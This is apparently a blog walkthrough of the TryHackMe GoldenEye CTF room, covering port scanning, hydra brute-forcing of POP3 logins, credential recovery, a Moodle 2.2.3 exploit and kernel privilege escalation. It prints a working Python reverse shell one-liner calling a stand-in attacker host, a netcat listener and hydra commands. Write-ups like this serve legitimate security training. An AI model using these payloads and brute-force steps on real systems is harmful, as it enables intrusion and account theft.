TryHackMe — GoldenEye — Walkthrough

Hi, friends! Welcome to another article of the write-up series. In this blog, I have described the complete walkthrough of the GoldenEye CTF challenge in the TryHackMe platform. Another fantastic room, another challenge! I learnt a lot while working on this fascinating CTF and hope this article will also be useful for you.

Enjoy reading! 🍀

Stage 1. As usual, I started to run a Nmap scan to find out the open ports on the target machine. I divided the scanning process into two phases: first, I discovered only open ports and then enumerated them individually. Doing so helped me to save a lot of time as usually scanning all ports takes so much time. (In each CTF challenge, I feel that I’m improving my techniques :) That’s why practice makes everything perfect!)

Phase 1. Finding open ports:

export IP_ADDRESS=<IP_ADDRESS>
sudo nmap -sV -Pn -n -p- -T aggressive $IP_ADDRESS

I found 4 ports open:

Figure 1. Open ports

Phase 2. Running a detailed scan over the open ports:

sudo nmap -sC -sV -Pn -n -p25,80,55006,55007 -T normal $IP_ADDRESS

Figure 2. Enumerating the open ports

Port 25: SMTP service — version: Postfix smtpd.

Port 80: HTTP service — version: Apache httpd 2.4.7.

Port 55006: SSL/POP3 service — version: Dovecot pop3d

Port 55007: POP3 service — version: Dovecot pop3d

Pay attention that POP3 services were running on the non-default ports. It meant that I would find something interesting while interacting with those services.

Then it was time to analyze each service individually and see where it would take me.

Stage 2. Navigating to the web service hosted on port 80 gave me a page like the following:

Figure 3. Web Page

Okay. I had to go to the /sev-home/ directory. But I did not have any credentials. To have some clues, I decided to analyze the page source and other files related to the web page as well. And voila! In the terminal.js file, I found something juicy:

Figure 4. terminal.js

There was a message to the user called boris. Its HTML-encoded password was also mentioned in the message, and I used my favourite tool, CyberChef, to decode it:

Figure 5. Decoding the password

After gaining the credentials, I navigated to the login page again and entered them:

Figure 6. Login page

Success! The message left on the page was so clear:

Figure 7. GoldenEye Page

Security, POP3, a high non-default port… It was time to enumerate the POP3 services!

Stage 3. Interaction with a POP3 service can be achieved via Telnet. However, since port number 55006 was under SSL as well, I decided to work with port 55007. If I could not gain anything juicy from this port, I would return to the previous one.

Figure 8. Interaction with port 55006

Connecting to the port 55007 gave me a success message:

Figure 9. Interaction with port 55007

However, first I had to authenticate myself before moving on. The previous credentials I obtained did not work in this case, so I used the tool hydra to brute-force the password.

Brute-forcing the password for the POP3 service is a time-consuming process. So, as an initial step, I used the wordlist called fasttrack.txt instead of rockyou.txt:

hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f <IP> -s 55007 pop3

Result:

Figure 10. Password for the user boris

Good. I used these credentials to authenticate myself in the POP3 service.

Commands to play around with the POP3 service:

USER <username> # entering the username
PASS <password> # entering the password
LIST            # listing all the emails
RETR <number>   # returning the corresponding email
QUIT            # quitting 

Figure 11. Authentication process

Reading each email:

Figure 12. Email 1

Figure 13. Email 2

Figure 14. Email 3

I could not say that those emails contained something useful, actually for me, but there were a lot of usernames, right? root, natalya, xenia, janus, alec… Maybe I could find the POP3 | Web password of them? Who knows…

Stage 4. I created a list of usernames like the following:

Figure 14. A list of usernames

Then I used hydra again to find the POP3 passwords of them:

Figure 15. Password cracking

Success! I was able to find out the password for the user natalya.

Figure 16. Authentication as natalya

Emails:

Figure 17. Email 1

Figure 18. Email 2

Perfect! Another pair of credentials!

My next target user was xenia. Additionally, I understood that I had to do some configurations in my /etc/hosts file so that I could access the internal domain URL: severnaya-station.com/gnocertdir

Get cloverophile’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

To edit the host file, I used the vim text editor:

Figure 19. Editing the /etc/hosts file

Note: if you restart your target, you have to reconfigure your /etc/hosts file again and add the new IP address assigned.

Stage 5. It was time to analyze the internal domain severnaya-station.com/gnocertdir. A page like the following was opened:

Figure 20. severnaya-station.com/gnocertdir

I used the credentials of the user xenia to log in:

Figure 21. Logging in as xenia

The user xenia has a message from somebody called Dr Doak. In the message, Dr Doak mentioned that he had an email account and its username was doak. Perfect!

Figure 22. Email from Dr Doak

Immediately I used hydra again to brute-force the password:

Figure 23. Password of the user doak

I used the credentials to authenticate myself to the POP3 service as the user doak and was able to retrieve his emails:

Figure 24. Logging in as the user doak

From the email, I got the credentials of Dr Doak to the severnaya-station.com/gnocertdir platform. Good.

After logging in, I found a file called s3cret.txt in the My Profile/My Private Files section:

Figure 25. Finding a secret file

The content of the secret file:

Figure 26. s3cret.txt

Okay, I had to navigate to the directory mentioned in the file:

Figure 27. Secret directory

Come on... A picture?

Maybe I had to extract the exif data of the picture. This was where exiftool came into play. In the Image Description section, I found a Base64-encoded string:

Figure 28. Exif data of the image

Decoding the string gave me the admin password:

Figure 29. Decoding the admin password

Stage 6. After logging in as the admin user, I looked for a vulnerability that could allow me to spawn a reverse shell. To my mind, it was one of the toughest parts of the challenge. The service hosted on the page was moodle version 2.2.3. I analyzed the corresponding exploit on the exploit-db platform. I did not want to use the Metasploit framework, so I tried to find a way for manual exploitation.

After playing around the application and the exploit for a while, I was able to find where I could inject a reverse shell payload:

Path: Site Administration/Server/System Paths

Figure 30. Path to inject a payload

I had to use the Aspell spell-checker plugin to spawn a shell. Before moving on, I started a Netcat listener on my machine:

nc -lvnp 1234

The reverse shell payload I used was like the following:

python -c ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“<ATTACKER_IP>”,<PORT_NUMBER>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)’

Figure 31. Payload Injection

I placed the payload and saved the changes.

Then I navigated to the Site Administration/Plugins/Text Editors/TinyMCE HTML Editor section to set the spell engine as PSpellShell, as described in the original exploit.

Figure 32. Changing the spell engine

Then I had to trigger the plugin to give me a shell. For this purpose, I navigated to the adding a new blog section and clicked on the spell checker button:

Figure 33. Triggering the spell checker

Voila! The shell was spawned!

Figure 34. Reverse shell

Huh, what a challenge!

Stage 7. Final stage: privilege escalation?

As usual, I used a Python HTTP server to transfer the privilege escalation script, linpeas.sh, to the target:

Figure 35. Starting a Python HTTP server

Figure 36. Using curl to transfer the script

The script revealed that the kernel version of the target was vulnerable:

Figure 37. Kernel version

The corresponding exploits for that version were like the following:

Figure 38. Exploits

I decided to use the 37292.c exploit.

Figure 39. Exploit

To compile the file and run the binary, I had to check whether the compiler gcc was installed on the target or not. Unfortunately, it was not. I searched for other compilers on the Internet and found that cc is a traditional UNIX C compiler:

Figure 40. Analyzing compilers

It meant that I had to fix some lines in the exploit before transferring it. I replaced gcc with cc in the lib = system(… line.

Figure 41. Fixing the exploit

After transferring the exploit via the Python HTTP server again, I compiled the exploit and ran the binary:

cc exploit.c -o root
./root

Success!

The root flag was located in the home directory of the root user, as a hidden file:

Figure 42. Root flag

Navigating to the directory mentioned in the flag file showed that I was able to finish the challenge successfully:

Figure 43. Final message

What a challenge! It was complete fun, and I really enjoyed the room. Thanks to the creators! 💚

Thanks for reading! 🍀